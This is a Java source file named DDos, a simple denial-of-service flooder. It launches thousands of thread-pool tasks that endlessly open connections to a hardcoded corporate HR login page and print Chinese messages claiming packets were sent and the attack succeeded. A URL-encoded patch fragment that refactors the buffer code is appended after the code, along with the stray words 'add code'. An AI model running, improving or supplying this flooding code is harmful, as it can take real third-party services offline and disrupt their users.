package net;

import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class DDos {
    public static void main(String[] args) {
        ExecutorService es = Executors.newFixedThreadPool(1000);
        Mythread mythread = new Mythread();
        Thread thread = new Thread(mythread);
        for (int i = 0; i < 10000; i++) {
            es.execute(thread);
        }
    }
}

class Mythread implements Runnable {
    public void run() {
        while (true) {
            try {
                URL url = new URL("https://ehr.corp.imdada.cn/imdada/loginx.aspx");

                URLConnection conn = url.openConnection();
                System.out.println("发包成功！");
                BufferedInputStream bis = new BufferedInputStream(
                        conn.getInputStream());
                byte[] bytes = new byte[1024];
                int len = -1;
                StringBuffer sb = new StringBuffer();

                if (bis != null) {
                    if ((len = bis.read()) != -1) {
                        sb.append(new String(bytes, 0, len));
                        System.out.println("-->攻击成功！");
                        bis.close();
                    }
                }
            } catch (MalformedURLException e) {
                e.printStackTrace();
            } catch (IOException e) {
                e.printStackTrace();
            }

        }
    }
}
@@ -1017,37 +1017,8 @@
 4%5D;%0A
-                int len = -1;
 %0A   
@@ -1038,18 +1038,19 @@
 StringBu
-ff
+ild
 er sb = 
@@ -1065,17 +1065,17 @@
 ngBu
-ff
+ild
 er();%0A
-%0A
     
@@ -1091,28 +1091,16 @@
    i
-f (bis != null) %7B%0A  
+nt len;%0A
     
@@ -1111,18 +1111,16 @@
         
-  
 if ((len
@@ -1139,28 +1139,24 @@
 )) != -1) %7B%0A
-    
             
@@ -1213,36 +1213,32 @@
                 
-    
 System.out.print
@@ -1273,20 +1273,16 @@
         
-  
-  
 bis.clos
@@ -1290,30 +1290,8 @@
 ();%0A
-                    %7D%0A
     

add code